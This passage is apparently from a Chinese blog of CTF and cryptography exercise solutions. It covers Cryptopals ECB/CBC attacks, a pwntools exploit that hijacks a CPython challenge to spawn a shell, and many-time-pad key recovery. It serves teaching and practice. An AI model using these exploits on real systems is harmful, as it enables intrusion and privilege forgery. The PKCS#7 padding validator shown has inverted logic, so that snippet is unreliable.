才能成功。def aes_ecb_enc(data: bytes, key: bytes) -> bytes: assert len(data) % 16 == 0 cipher = AES.new(key, AES.MODE_ECB) return cipher.encrypt(data) def pkcs_7(content: bytes) -> bytes: padlen = 16 - (len(content) % 16) return content + bytes([padlen] * padlen) def aes_cbc_enc(plain: bytes, key: bytes, iv: bytes) -> bytes: plain = pkcs_7(plain) result = bytes() prev_block = iv for i in range(0, len(plain), 16): block = plain[i: i + 16] encrypted = aes_ecb_enc(bytesxor(block, prev_block), key) result += encrypted prev_block = encrypted return result def randint(a: int, b: int) -> int: return randbelow(b - a + 1) + a def encryption_oracle(plaintext: bytes) -> bytes: key = token_bytes(16) plaintext = token_bytes(randint(5, 10)) + \ plaintext + token_bytes(randint(5, 10)) if randbelow(2) == 0: print("Oracle used: ECB") ciphertext = aes_ecb_enc(pkcs_7(plaintext), key) else: print("Oracle used: CBC") iv = token_bytes(16) ciphertext = aes_cbc_enc(plaintext, key, iv) return ciphertext def detect_mode(ciphertext: bytes) -> str: blocks = [ciphertext[i:i+16] for i in range(0, len(ciphertext), 16)] if len(set(blocks)) != len(blocks): return "ECB" return "CBC" ciphertext = encryption_oracle(input().encode()) mode = detect_mode(ciphertext) print(f"Detected mode: {mode}")Byte-at-a-time ECB decryption (Simple)经典的 ECB Padding Oracle，由于 ECB 对相同 key 相同块的加密无论位置永远相同，我们可以逐字节爆破明文。由于 key 不变，优化为只初始化 AES cipher 一次。爆破时无需拼接整个 cracked，只需拼接 (padding + cracked)[-15:] 以节省加密时间。from secrets import token_bytes unknown = b64decode( 'Um9sbGluJyBpbiBteSA1LjAKV2l0aCBteSByYWctdG9wIGRvd24gc28gbXkgaGFpciBjYW4gYmxvdwpUaGUgZ2lybGllcyBvbiBzdGFuZGJ5IHdhdmluZyBqdXN0IHRvIHNheSBoaQpEaWQgeW91IHN0b3A/IE5vLCBJIGp1c3QgZHJvdmUgYnkK') key = token_bytes(16) cipher = AES.new(key, AES.MODE_ECB) def encryption_oracle(plaintext: bytes) -> bytes: plaintext = pkcs_7(plaintext + unknown) ciphertext = cipher.encrypt(plaintext) return ciphertext # block_size is 16 # Mode is ECB cracked = b'' for i in range(len(unknown)): padding = b'A' * ((16 - 1) - (i % 16)) encrypted = encryption_oracle(padding) start = i // 16 * 16 target_block = encrypted[start:start + 16] for j in range(256): if encryption_oracle((padding + cracked)[-15:] + bytes([j]))[:16] == target_block: cracked += bytes([j]) break print(cracked) assert cracked == unknown # b"Rollin' in my 5.0\nWith my rag-top down so my hair can blow\nThe girlies on standby waving just to say hi\nDid you stop? No, I just drove by\n"ECB cut-and-paste同上，我们调整用户输入的邮箱地址，构造一个包含 PKCS#7 padded admin 和 user 这两个块的 k-v 字符串输入。截取加密后 PKCS#7 padded admin 块，替换加密后的最后一个块（PKCS#7 padded user），获得 admin profile 密文。（如果要验证邮箱地址格式的话这招估计就不管用了。）def kv_to_dict(input: str) -> dict[str, str]: result = dict() for entry in input.split('&'): k, v = entry.split('=') result[k] = v.replace('%26', '&').replace('%3D', '=') return result def dict_to_kv(input: dict[str, str]) -> str: entries: list[str] = list() for entry in input.items(): entries.append( f'{entry[0]}={entry[1].replace('&', '%26').replace('=', '%3D')}') return '&'.join(entries) current_uid = 0 def profile_for(email: str) -> str: global current_uid result = dict_to_kv( {'email': email, 'uid': str(current_uid), 'role': 'user'}) current_uid += 1 return result print(kv_to_dict('foo=bar&baz=qux&zap=zazzle')) print(profile_for('foo@bar.com')) key = token_bytes(16) cipher = AES.new(key, AES.MODE_ECB) def send_profile(email: str) -> bytes: return cipher.encrypt(pkcs_7(profile_for(email).encode())) def recv_profile(encrypted: bytes) -> dict[str, str]: return kv_to_dict(depkcs_7(cipher.decrypt(encrypted)).decode()) admin_block = pkcs_7(b'admin') encrypted = send_profile('A' * (16 - len(b'email=')) + admin_block.decode() + 'AAAA') fake_encrypted = encrypted[:-16] + encrypted[16:32] print(recv_profile(fake_encrypted)) # {'foo': 'bar', 'baz': 'qux', 'zap': 'zazzle'} # email=foo@bar.com&uid=0&role=user # {'email': 'AAAAAAAAAAadmin\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0bAAAA', 'uid': '1', 'role': 'admin'}Byte-at-a-time ECB decryption (Harder)已知随机添加 5 ～ 10 随机字节。我们可以假设额外的随机 padding 长度就是 10，为了检测这种情况已经发生，我们可以在用户输入的 padding 插入一段 b'B' * block_size，检测只有 B 的加密块是否存在，为了检测这种块我们需要先得到它（利用上文提到的 ECB 缺陷），先输入 b'B' * (block_size * 3) 然后检测重复块，重复的就是只有 B 的块。为了使只有 B 的加密块有可能存在（block_size 字节对齐），我们还需要在“B 块”前添加 b'A' * (block_size - 10)。def hard_encryption_oracle(plaintext: bytes) -> bytes: plaintext = pkcs_7(token_bytes(randint(5, 10)) + plaintext + unknown) ciphertext = cipher.encrypt(plaintext) return ciphertext def detect_repeat(ecb_enc: bytes) -> int: assert len(ecb_enc) >= 32 for i in range(0, len(ecb_enc) - 16, 16): if ecb_enc[i:i+16] == ecb_enc[i+16:i+32]: return i cracked = b'' test = hard_encryption_oracle(b'B' * (16 * 3)) offset = detect_repeat(test) pure_B_block_enc = test[offset:offset + 16] for i in range(len(unknown)): extra_padding = b'A' * (16 - 10) + b'B' * 16 padding = b'A' * ((16 - 1) - (i % 16)) encrypted = bytes() while pure_B_block_enc not in encrypted: encrypted = hard_encryption_oracle(extra_padding + padding) start = i // 16 * 16 + 32 target_block = encrypted[start:start + 16] for j in range(256): guess_enc = bytes() while pure_B_block_enc not in guess_enc: guess_enc = hard_encryption_oracle( extra_padding + (padding + cracked)[-15:] + bytes([j])) if guess_enc[32:48] == target_block: cracked += bytes([j]) break print(cracked) assert cracked == unknownPKCS#7 padding validationdef depkcs_7(input: bytes) -> bytes: padlen = input[-1] if 0 < padlen <= 16 or input.endswith(bytes([padlen]) * padlen): raise ValueError("Bad padding") return input[:-padlen]CBC bitflipping attacksYou're relying on the fact that in CBC mode, a 1-bit error in a ciphertext block:Completely scrambles the block the error occurs inProduces the identical 1-bit error(/edit) in the next ciphertext block.KEY = token_bytes(16) IV = token_bytes(16) def aes_cbc_enc(plain: bytes, key: bytes, iv: bytes) -> bytes: plain = pkcs_7(plain) result = bytes() prev_block = iv for i in range(0, len(plain), 16): block = plain[i:i + 16] encrypted = aes_ecb_enc(bytesxor(block, prev_block), key) result += encrypted prev_block = encrypted return result def quote(data: bytes) -> bytes: return data.replace(b';', b'%3B').replace(b'=', b'%3D') def encrypt_userdata(userdata: bytes) -> bytes: prefix = b'comment1=cooking%20MCs;userdata=' suffix = b';comment2=%20like%20a%20pound%20of%20bacon' plaintext = prefix + quote(userdata) + suffix return aes_cbc_enc(plaintext, KEY, IV) def check_admin(ciphertext: bytes) -> bool: try: plaintext = aes_cbc_dec(ciphertext, KEY, IV) return b';admin=true;' in plaintext except: return False # len(b'comment1=cooking%20MCs;userdata=') -> 32 # len(b';comment2=%20like%20a%20pound%20of%20bacon') -> 42 ciphertext = encrypt_userdata(b'A' * (16 + (48 - 42))) mask = bytesxor(b'AAAAAA;comme', b';admin=true;') payload = bytesxor(ciphertext[32:32 + len(mask)], mask) fake_ciphertext = ciphertext[:32] + payload + ciphertext[32 + len(mask):] print(check_admin(fake_ciphertext)) # True
少见的 Python interpreter pwn，漏洞点也很有意思。ChallengePython 3.12.4import ctypes from typing import Union, List, Dict STRPTR_OFFSET = 0x28 LENPTR_OFFSET = 0x10 class MutableStr: pass class MutableStr: def __init__(self, data:str): self.data = data self.base_ptr = id(self.data) self.max_size_str = "" def set_max_size(self, max_size_str): if int(max_size_str) < ((len(self)+7) & ~7): self.max_size_str = max_size_str else: print("can't set max_size: too big") def __repr__(self): return self.data def __str__(self): return self.__repr__() def __len__(self): if self.base_ptr is None: return 0 ptr = ctypes.cast(self.base_ptr + LENPTR_OFFSET, ctypes.POINTER(ctypes.c_int64)) return ptr[0] def __getitem__(self, key:int): if not isinstance(key, int): raise NotImplementedError if key >= len(self) or key < 0: raise RuntimeError("get overflow") return self.data[key] def __setitem__(self, key:int, value:int): if not isinstance(value, int): raise NotImplementedError("only support integer value") if not isinstance(key, int): raise NotImplementedError("only support integer key") if key >= len(self) or key < 0: raise RuntimeError(f"set overflow: length:{len(self)}, key:{key}") strptr = ctypes.cast(self.base_ptr + STRPTR_OFFSET, ctypes.POINTER(ctypes.c_char)) strptr[key] = value def __add__(self, other:Union[str,MutableStr]): if isinstance(other, str): return MutableStr(self.data + other) if isinstance(other, MutableStr): return MutableStr(self.data + other.data) raise NotImplementedError() def _add_str(self, other): if self.max_size_str == "": max_size = (len(self)+7) & ~7 else: max_size = int(self.max_size_str) if len(self)+len(other) <= max_size: other_len = len(other) strptr = ctypes.cast(self.base_ptr + STRPTR_OFFSET, ctypes.POINTER(ctypes.c_char)) otherstrptr = ctypes.cast(id(other) + STRPTR_OFFSET, ctypes.POINTER(ctypes.c_char)) for i in range(other_len): strptr[i+len(self)] = otherstrptr[i] if len(self)+other_len < max_size: # strptr[len(self)+other_len] = 0 pass ctypes.cast(self.base_ptr + LENPTR_OFFSET, ctypes.POINTER(ctypes.c_int64))[0] += other_len else: print("Full!") return self def __iadd__(self, other): if isinstance(other, str): return self._add_str(other) if isinstance(other, MutableStr): return self._add_str(other.data) return self def new_mstring(data:str) -> MutableStr: return MutableStr(data) mstrings:List[MutableStr] = [] def main(): while True: try: cmd, data, *values = input("> ").split() if cmd == "new": mstrings.append(new_mstring(data)) if cmd == "set_max": idx = int(values[0]) if idx >= len(mstrings) or idx < 0: print("invalid index") continue mstrings[idx].set_max_size(data) if cmd == "+": idx1 = int(data) idx2 = int(values[0]) if idx1 < 0 or idx1 >= len(mstrings) or idx2 < 0 or idx2 >= len(mstrings): print("invalid index") continue mstrings.append(mstrings[idx1]+mstrings[idx2]) if cmd == "+=": idx1 = int(data) idx2 = int(values[0]) if idx1 < 0 or idx1 >= len(mstrings) or idx2 < 0 or idx2 >= len(mstrings): print("invalid index") continue mstrings[idx1] += mstrings[idx2] if cmd == "print_max": idx = int(data) if idx >= len(mstrings) or idx < 0: print("invalid index") continue print(mstrings[idx].max_size_str) if cmd == "print": idx = int(data) if idx >= len(mstrings) or idx < 0: print("invalid index") continue print(mstrings[idx].data) if cmd == "modify": idx = int(data) offset = int(values[0]) val = values[1] if idx >= len(mstrings) or idx < 0: print("invalid index") continue mstrings[idx][offset] = int(val) except EOFError: break except Exception as e: print(f"error: {e}") print("hello!", flush=True) main()省流：Python 的 str 不可变，题目用 ctypes 强行实现了一个可变字符串 MutableStr。赛中手写了个 fuzzer，发现了一个很有意思的崩溃，但一直没看懂。（好在让我意识到 CPython 对单字节字符串有特别的优化，见下文。）Hello! > new O > modify 0 0 0 这样就有可能 SIGSEGV，原因是空指针解引用。BugCPython 给每个单字节字符串预先分配了一个对象，位于 python 本身的数据段，所有相同的单字节字符串都指向同一个地方。如果我们先 new 一个 MutableStr '6'，将另一个 MutableStr 的 max_size_str 设置成 '6'，那么接下来改 '6' 就是改另一个 MutableStr 的 max_size_str。（考虑到最终 getshell 时的一些细节，需要用 6 而不是 7。）Hello! > new 6 > new 0 > set_max 6 1 > print_max 1 6 > += 0 0 > print_max 1 66我们由此可以获得任意长溢出写。CPython 用 PyASCIIObject 存储纯单字节字符串，记录长度，不依赖尾空字节。如果字符串里有非 ASCII 字符，就会改用 PyCompactUnicodeObject，此时 0x28（STRPTR_OFFSET）偏移处新增两个 8 字节字段 utf8_length 和 utf8。（见源码 Python-3.12.4/Include/cpython/unicodeobject.h）typedef struct { PyObject_HEAD Py_ssize_t length; Py_hash_t hash; struct { unsigned int interned:2; unsigned int kind:3; unsigned int compact:1; unsigned int ascii:1; unsigned int statically_allocated:1; unsigned int :24; } state; } PyASCIIObject; typedef struct { PyASCIIObject _base; Py_ssize_t utf8_length; char *utf8; } PyCompactUnicodeObject;数据紧随这两个结构体之后（8 字节对齐）。CPython 存储 Unicode 字符采用定长编码，通常 UCS2（类似 UTF16），遇到大于两字节的字符则 UCS4。当 utf8 不为 NULL 时，print 就不再重新 UCS2 转 UTF8，而是直接根据这两个字段打印字符串。但是 MutableStr 没有正确处理非 ASCII 情况，当拼接字符串时仍然向原偏移处即字符串末尾前 16 字节处写入字符串并且增加长度（注意 Python 的字符串长度是指 Unicode 码点数），我们可以结合篡改 max_size_str 从而泄露 Unicode 字符串 data 后任意偏移大约 16 字节的信息。Exploit笔者十分不喜欢 glibc heap pwn。以下解法不依赖特定 libc 版本，也没有 🏠。每个 PyObject 都有一个 PyTypeObject 指针，表示对象的类型，其中有类型信息和各种操作的虚函数指针等。由于动态分配的对象在 pymalloc（不大于 512 字节）或 libc 堆上，所以理所应当可能有相邻对象的 PyTypeObject 指针，从而泄露 PIE 基址。这里有个细节，当实际使用 print 命令打印这个字符串时，泄露出来的信息会变成其他字符。这是 builtin_print 时编码转换导致的，我们的脚本需要将实际输出的内容看做 UTF8 字节流再转为 UCS2 字节流以获取原始泄露信息。得到基址后，我们再越界写篡改刚才提到的预先分配好的单字节字符串对象的 PyTypeObject 指针，提前伪造虚函数表，print 伪造了虚函数表的 data 从而劫持控制流。Exp:from pwn import * context(arch='amd64', os='linux', log_level='debug', terminal = ['konsole', '-e']) binary = './python' io = process([binary, 'mstr.py']) e = ELF(binary) itob = lambda x: str(x).encode() print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}') def new_bytes(content: bytes, index: int) -> None: io.sendlineafter(b'> ', b'new ' + b'\x00' * len(content)) context.log_level='info' for i, c in enumerate(content): io.sendlineafter(b'> ', f'modify {index} {i} {c}'.encode()) context.log_level='debug' io.sendlineafter(b'> ', 'new 瑞克'.encode()) io.sendlineafter(b'> ', 'new \x00'.encode()) # for fake type io.sendlineafter(b'> ', 'new 6'.encode()) io.sendlineafter(b'> ', b'set_max 6 0') io.sendlineafter(b'> ', b'set_max 6 1') io.sendlineafter(b'> ', b'+= 2 2') io.sendlineafter(b'> ', b'+= 2 2') # max size 6666 io.sendlineafter(b'> ', b'new ' + b'\x00' * 20) io.sendlineafter(b'> ', '+= 0 3'.encode()) io.sendlineafter(b'> ', 'print 0'.encode()) data_leaked = io.recvline(drop=True).decode('utf-8').encode('utf-16-le') # for i in range(0, len(data_leaked) - 8, 8): # print(f'{u64(data_leaked[i: i + 8]):#x}') e.address = u64(data_leaked[16:24]) - e.sym['PyBytes_Type'] if e.address % 0x1000 != 0: exit(1) print_leaked('elf_base', e.address) gdb.attach(io, f'awa *{e.sym['_PyRuntime'] + 62000}') # modify PyTypeObject ptr & construct fake PyTypeObject new_bytes(b'cafebab' + cyclic(40).replace(b'caaadaaa', p64(e.sym['_PyRuntime'] + 62000)).replace( # For some reasons, `ph\x00` will become `sh\x00` (+= 3) b'aaaa', b'ph\x00\x00') + b'\x00' * 88 + p64(e.plt['system']), 4) io.sendlineafter(b'> ', b'+= 1 4') io.sendlineafter(b'> ', 'new \x01'.encode()) # fake type victim io.sendlineafter(b'> ', 'print 5'.encode()) # invoke virtual function io.interactive()🐍🔥🐍🔥🐍🔥🐍🔥由于堆布局每次运行时不同，只是有概率成功（如果加上堆喷可以做到每次成功）。以上 exploit 不破坏控制流完整性，即使开启 SHSTK 和 IBT 保护也可以绕过。
西电网安实验班 现代密码学 实验一
题目一地址：https://www.coursera.org/learn/crypto/assignment-submission/KZ9js/week-1-programming-assignment-optional/attempt​ 题目使用同一个流密码密钥加密得到 10 个密文，加密方式是逐字节异或，目标是通过这 10 个密文得到密钥以解出第 11 个密文。​ 已知消息 M、密钥 K，异或加密的过程是$$ C=M\oplus K $$得到密文 C。异或是自反的运算，所以解密与加密过程相同$$ M=C\oplus K $$​ 对于同一个密钥 K 加密的两个密文 C_1、C_2，如果将两者异或可以得到$$ B=C_1\oplus C_2=M_1\oplus K\oplus M_2\oplus K=M_1\oplus M_2 $$字节流B是两消息逐字节异或结果。​ 我们首先导入这些密文和加密方法msg_1 = bytes.fromhex('315c4eeaa8b5f8aaf9174145bf43e1784b8fa00dc71d885a804e5ee9fa40b16349c146fb778cdf2d3aff021dfff5b403b510d0d0455468aeb98622b137dae857553ccd8883a7bc37520e06e515d22c954eba5025b8cc57ee59418ce7dc6bc41556bdb36bbca3e8774301fbcaa3b83b220809560987815f65286764703de0f3d524400a19b159610b11ef3e') msg_2 = bytes.fromhex('234c02ecbbfbafa3ed18510abd11fa724fcda2018a1a8342cf064bbde548b12b07df44ba7191d9606ef4081ffde5ad46a5069d9f7f543bedb9c861bf29c7e205132eda9382b0bc2c5c4b45f919cf3a9f1cb74151f6d551f4480c82b2cb24cc5b028aa76eb7b4ab24171ab3cdadb8356f') msg_3 = bytes.fromhex('32510ba9a7b2bba9b8005d43a304b5714cc0bb0c8a34884dd91304b8ad40b62b07df44ba6e9d8a2368e51d04e0e7b207b70b9b8261112bacb6c866a232dfe257527dc29398f5f3251a0d47e503c66e935de81230b59b7afb5f41afa8d661cb') msg_4 = bytes.fromhex('32510ba9aab2a8a4fd06414fb517b5605cc0aa0dc91a8908c2064ba8ad5ea06a029056f47a8ad3306ef5021eafe1ac01a81197847a5c68a1b78769a37bc8f4575432c198ccb4ef63590256e305cd3a9544ee4160ead45aef520489e7da7d835402bca670bda8eb775200b8dabbba246b130f040d8ec6447e2c767f3d30ed81ea2e4c1404e1315a1010e7229be6636aaa') msg_5 = bytes.fromhex('3f561ba9adb4b6ebec54424ba317b564418fac0dd35f8c08d31a1fe9e24fe56808c213f17c81d9607cee021dafe1e001b21ade877a5e68bea88d61b93ac5ee0d562e8e9582f5ef375f0a4ae20ed86e935de81230b59b73fb4302cd95d770c65b40aaa065f2a5e33a5a0bb5dcaba43722130f042f8ec85b7c2070') msg_6 = bytes.fromhex('32510bfbacfbb9befd54415da243e1695ecabd58c519cd4bd2061bbde24eb76a19d84aba34d8de287be84d07e7e9a30ee714979c7e1123a8bd9822a33ecaf512472e8e8f8db3f9635c1949e640c621854eba0d79eccf52ff111284b4cc61d11902aebc66f2b2e436434eacc0aba938220b084800c2ca4e693522643573b2c4ce35050b0cf774201f0fe52ac9f26d71b6cf61a711cc229f77ace7aa88a2f19983122b11be87a59c355d25f8e4') msg_7 = bytes.fromhex('32510bfbacfbb9befd54415da243e1695ecabd58c519cd4bd90f1fa6ea5ba47b01c909ba7696cf606ef40c04afe1ac0aa8148dd066592ded9f8774b529c7ea125d298e8883f5e9305f4b44f915cb2bd05af51373fd9b4af511039fa2d96f83414aaaf261bda2e97b170fb5cce2a53e675c154c0d9681596934777e2275b381ce2e40582afe67650b13e72287ff2270abcf73bb028932836fbdecfecee0a3b894473c1bbeb6b4913a536ce4f9b13f1efff71ea313c8661dd9a4ce') msg_8 = bytes.fromhex('315c4eeaa8b5f8bffd11155ea506b56041c6a00c8a08854dd21a4bbde54ce56801d943ba708b8a3574f40c00fff9e00fa1439fd0654327a3bfc860b92f89ee04132ecb9298f5fd2d5e4b45e40ecc3b9d59e9417df7c95bba410e9aa2ca24c5474da2f276baa3ac325918b2daada43d6712150441c2e04f6565517f317da9d3') msg_9 = bytes.fromhex('271946f9bbb2aeadec111841a81abc300ecaa01bd8069d5cc91005e9fe4aad6e04d513e96d99de2569bc5e50eeeca709b50a8a987f4264edb6896fb537d0a716132ddc938fb0f836480e06ed0fcd6e9759f40462f9cf57f4564186a2c1778f1543efa270bda5e933421cbe88a4a52222190f471e9bd15f652b653b7071aec59a2705081ffe72651d08f822c9ed6d76e48b63ab15d0208573a7eef027') msg_10 = bytes.fromhex('466d06ece998b7a2fb1d464fed2ced7641ddaa3cc31c9941cf110abbf409ed39598005b3399ccfafb61d0315fca0a314be138a9f32503bedac8067f03adbf3575c3b8edc9ba7f537530541ab0f9f3cd04ff50d66f1d559ba520e89a2cb2a83') msg_target = bytes.fromhex('32510ba9babebbbefd001547a810e67149caee11d945cd7fc81a05e9f85aac650e9052ba6a8cd8257bf14d13e6f0a803b54fde9e77472dbff89d71b57bddef121336cb85ccb8f3315f4b52e301d16e9f52f904') msgs = [msg_1, msg_2, msg_3, msg_4, msg_5, msg_6, msg_7, msg_8, msg_9, msg_10] def bytesxor(a, b): if len(a) > len(b): return bytes([x ^ y for (x, y) in zip(a[:len(b)], b)]) else: return bytes([x ^ y for (x, y) in zip(a, b[:len(a)])])根据前文理论，我们先尝试异或 msg_1 和 msg_2，结果是b'\x12\x10L\x06\x13NW\t\x14\x0f\x10O\x02R\x1b\n\x04B\x02\x0cM\x07\x0b\x18OH\x15T\x1f\x08\x00HN\x1e\x02A\x06\x1d\x06MT\x0b\n\x02\x02\x10\x19E\x10\x16MO:\x00SC\x00NC\x0e\x1e\x1d\nRF\x12\x17\x1b\x01\x17\x00\x1b\x0eEC\x1c\x0c\x1d\x16\nR\r\x11tN\x19\x06\x1a\x11M\x0eU\x17O\x08NT7\x14\x05\x0b\x17CST\x1bH\x07\x0e\x00\x0eM'我们不使用十六进制格式输出，是因为需要观察其中有一些大写或小写英文字母。根据题目，明文是 ASCII 英语句子，其中大部分符号都是大小写英文字母和空格。我们需要知道一个特殊的规律$$ ASCII(大/小写字母)\oplus ASCII(空格)=ASCII(小/大写字母) $$即英文字母的 ASCII 值与空格的 ASCII 值异或得到的 ASCII 值相当于切换原字母的大小写。​ 根据以上规律，我们十个中的一个密文 C，与其余九个密文逐字节异或，得到九个字节流 B_i，观察其中相同索引 j（位置）的字节 b_k，如果这九个字节几乎都是英文字母，那么我们选取的密文 C 的索引 j 处的字节 C[j] 的明文就大概是空格。此时我们有$$ C[j]\oplus ASCII(空格)=K[j] $$从而有可能还原出一个字节的密钥。如果密文足够多足够长，重复上述过程可以还原完整的密钥。key = [0] * len(msg_7) # `msg_7` is the longest ciphertext. def isalpha(b): return (ord('a') <= b <= ord('z')) or (ord('A') <= b <= ord('Z')) for i, msg_i in enumerate(msgs): may_not_space = [0] * len(msg_i) # Count cases when b_k is not alphabetic. for j, msg_j in enumerate(msgs): if i != j: xored = bytesxor(msg_i, msg_j) for k, xb in enumerate(xored): if (not isalpha(xb)) and xb != 0: may_not_space[k] += 1 for j, may_not in enumerate(may_not_space): if may_not <= 2: # If almost all b_k are alphabetic key_byte = msg_i[j] ^ ord(' ') if key[j] == 0: key[j] = key_byte continue if key[j] != key_byte: # Detect contradiction. Do more checks. reliable = True for m in msgs: if j >= len(m): continue byte = m[j] ^ key_byte if not isalpha(byte) and byte != ord(' '): reliable = False break if reliable: key[j] = key_byte print(f'Recovered key: {key}') print(f'Target message: {bytesxor(bytes(key), msg_target)}') # for msg in msgs: # print(bytesxor(msg, bytes(key))) # Target message: b'The secuet message\xeeis: Wh\x1an using a ~tream cipher,.never\xf8use the key more than once'题目二地址：https://www.cryptopals.com/sets/11. Convert hex to base64from base64 import b64encode print(b64encode(bytes.fromhex('49276d206b696c6c696e6720796f757220627261696e206c696b65206120706f69736f6e6f7573206d757368726f6f6d')).decode())2. Fixed XORdef bytesxor(a, b): if len(a) > len(b): return bytes([x ^ y for (x, y) in zip(a[:len(b)], b)]) else: return bytes([x ^ y for (x, y) in zip(a, b[:len(a)])]) print(bytesxor(bytes.fromhex('1c0111001f010100061a024b53535009181c'), bytes.fromhex('686974207468652062756c6c277320657965')).hex())3. Single-byte XOR cipher突发奇想，这里我用《动物森友会》给信件评分的算法来判断哪个结果最正确。（还真没毛病def get_score(message: str) -> int: """*Animal Crossing* message scoring algorithm.""" t = set("abl abo abr abs acc ach acr act add adm adv aer aff afr aft aga age ago ahe air ali all alm alo alr als alt alw am ame amo and ang ani ano ans any apa app apr are arg arm arr art asi ask asl ate atm att aud aug aut ave avo awa cak cal cam can cap car cas cat cau cen cer cha che chi cho chi chu cir cit cla cle cli clo coa cof coi col com con coo cop cor cos cou cov cow cre cri cro cry cup cur cus cut bab bac bad bag bal ban bas bat be bea bec bed bee bef beg beh bel bes bet bey bic big bik bil bir bit bla ble blo blu boa bod bon boo bor bot bou box boy bra bre bri bro bui bur bus but buy by eac ear eas eat edu eff egg eig eit ele els emp end ene eng enj eno ent equ err esp eur eve exa exc exe exp eye dad dai dam dan dar dat dau day dea dec dee def deg del dem den dep des det dev dic did die dif dig din dir dis div do doc doe dog dol don doo dou dow doz dra dre dri dro dru dry due dur dus dut gai gam gar gas gat gav gen ger get gir giv gla go god goi gon goo got gov gra gre gro gua gue gui gun fac fai fal fam far fas fat fea feb fed fee fel few fie fif fig fil fin fir fis fiv fix fla fle fli flo fly fol foo for fou fra fre fri fro fru ful fun fut i ice ide if ima imm imp in inc ind inf ins int inv iro is isl it its hab had hai hal han hap har has hat hav he hea hei hel her hi hid hig hil him hir his hit hol hom hon hop hor hos hot hou how hum hun hur hus kee kep key kic kil kin kit kne kni kno kab kad kai kak kan kar kas kat kau kaw kay kaz kea ked kef keg ken kes ket kev kib kie kif kig kik kim kin kis kit kiv koc kon koo kos kot kou kov kow kun kyi kac kad kag kai kaj kak kan kap kar kat kay ke kea ked kee kem ken kes ket kid kig kil kin kis kod kom kon koo kor kos kot kou kov kuc kum kus ky kys kam kar kat kea kec kee kei kev kew kex kic kig kin ko kob koi kon koo kor kos kot kov kow kum kbj k'c kct kf kff kft kh kil kka kld kn knc kne knl kpe kpi kpp kr kra krd kth kur kut kve kwn jan jap job joi jud jul jum jun jus qua que qui pac pag pai pap par pas pat pay pea pen peo per pho pic pie pin pip pla ple poc poi pol poo pop pos pot pou pow pra pre pri pro pub pul pup pur pus put sad saf sai sal sam san sat sav saw say sce sch sci sco sea sec see sel sen sep ser set sev sex sha she shi sho shu sic sid sig sil sim sin sis sit six siz ski sky sle sli slo sma sme smi smo sno so soa soc sof soi sol som son soo sor sou spa spe spi spo spr squ sta ste sti sto str stu sty sub suc sud suf sug sum sun sup sur swa swe swi swu sys rac rad rai ran rap rat rea rec red ref reg rel rem rep req res ret ric rid rig rin ris riv roa roc rod rol roo ros rou row rul run rus una unc und uni unl unt up upo us use usu tab tak tal tas tau tax tea tee tel tem ten ter tes tha the thi tho thr thu tic tie til tim tir tit to tod tog tol tom ton too top tor tot tou tow tra tre tri tro tru try tue tur tv twe twi two tyi typ val var veg ver vie vil vis voi vol vot vai vak val van var vas vat vav vay ve vea ved vee vei vel ven ver ves vet vha vhe vhi vho vhy vid vif vil vin vir vis vit viv vok vom von voo vor vou vri vro vma yar yea yel yen yes yet you zer".split()) s = 0 if message and message[-1] in '.?!': s += 20 for i, c in enumerate(message): if c in '.?!': for j in range(i+1, min(i+4, len(message))): if message[j].isupper(): s += 10 break elif message[j].isalpha(): s -= 10 break s += sum(3 for w in message.split() if len(cw := ''.join(c for c in w if c.isalpha()).lower()) >= 3 and cw[:3] in t) for c in message: if not c.isspace(): s += 20 if c.isupper() else -10 break for i in range(len(message)-2): if message[i].isalpha() and message[i] == message[i+1] == message[i+2]: s -= 50 break sp, nsp = message.count(' '), len(message) - message.count(' ') s += -20 if nsp == 0 or (sp * 100 // nsp if nsp else 0) < 20 else 20 if len(message) > 75: c = 0 for ch in message: c = 0 if ch in '.?!' else c + 1 if c == 75: s -= 150 break s -= sum(20 for i in range(0, len(message), 32) if ' ' not in message[i:i+32] and len(message[i:i+32]) == 32) return s cipher = bytes.fromhex( '1b37373331363f78151b7f2b783431333d78397828372d363c78373e783a393b3736') results = list() for c in range(256): try: res = bytesxor((chr(c) * len(cipher)).encode(), cipher).decode() results.append((res, get_score(res))) except UnicodeDecodeError: pass best = sorted(results, key=lambda x: x[1])[-1][0] print(best) # Cooking MC's like a pound of bacon4. Detect single-character XORwith open('4.txt', 'r') as file: ciphers = file.readlines() for original_cipher in ciphers: results = list() cipher = bytes.fromhex(original_cipher) for c in range(256): try: res = bytesxor((chr(c) * len(cipher)).encode(), cipher).decode() results.append((res, get_score(res))) except UnicodeDecodeError: pass if len(results) == 0: continue best = sorted(results, key=lambda x: x[1])[-1] if best[1] > 40: print(f'{original_cipher.strip()} -> {best[0]}') # 7b5a4215415d544115415d5015455447414c155c46155f4058455c5b523f -> Now that the party is jumping5. Implement repeating-key XORdef repeating_key_xor_to_hex(msg: bytes, key: bytes) -> str: result_chars = [] keylen = len(key) for i, b in enumerate(msg): result_chars.append(b ^ key[i % keylen]) return bytes(result_chars).hex() print(repeating_key_xor_to_hex(b"Burning 'em, if you ain't quick and nimble", b'ICE')) print(repeating_key_xor_to_hex(b'I go crazy when I hear a cymbal', b'ICE'))6. Break repeating-key XOR一开始没有还原正确，检查了一下发现是 # 扰乱了解密评分。考虑到英文句子里极少有 #，所以遇到就扣 5 分。from base64 import b64decode def get_score(message: str): score = 0 for c in message: if c.islower(): score += 3 if c.isupper(): score += 1 if c == ' ': score += 1 if c == '#': score -= 5 return score def get_key(cipher: bytes) -> int: results = list() for c in range(256): try: res = bytesxor((chr(c) * len(cipher)).encode(), cipher).decode() results.append((c, get_score(res))) except UnicodeDecodeError: pass return sorted(results, key=lambda x: x[1])[-1][0] def repeating_key_xor(msg: bytes, key: bytes) -> bytes: result_chars = [] keylen = len(key) for i, b in enumerate(msg): result_chars.append(b ^ key[i % keylen]) return bytes(result_chars) def normalized_average_hd(data: bytes, unit_len: int) -> float: chunks = [data[i:i + unit_len] for i in range(0, len(data), unit_len)] num_chunks = len(chunks) total_hd = 0 count = 0 for i in range(num_chunks): for j in range(i + 1, num_chunks): if len(chunks[i]) == unit_len and len(chunks[j]) == unit_len: total_hd += sum((byte1 ^ byte2).bit_count() for byte1, byte2 in zip(chunks[i], chunks[j])) count += 1 return total_hd / (count * unit_len) with open('6.txt', 'r') as file: cipher = b64decode(file.read()) results = list() for l in range(2, 41): norm_hd = normalized_average_hd(cipher, l) results.append((l, norm_hd)) keylens = sorted(results, key=lambda x: x[1]) for k in range(1): keylen = keylens[k][0] print(f"Guessed key length: {keylen}") key_bytes = [] for i in range(keylen): block = 